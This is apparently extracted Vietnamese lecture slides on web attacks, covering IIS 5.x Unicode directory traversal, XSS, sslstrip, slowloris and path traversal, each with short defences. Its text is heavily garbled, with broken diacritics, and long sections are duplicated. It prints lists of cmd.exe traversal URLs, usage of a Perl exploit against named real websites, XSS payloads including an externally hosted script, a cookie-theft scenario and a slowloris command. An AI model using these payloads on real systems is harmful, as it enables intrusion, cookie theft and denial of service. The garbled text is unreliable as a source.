[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
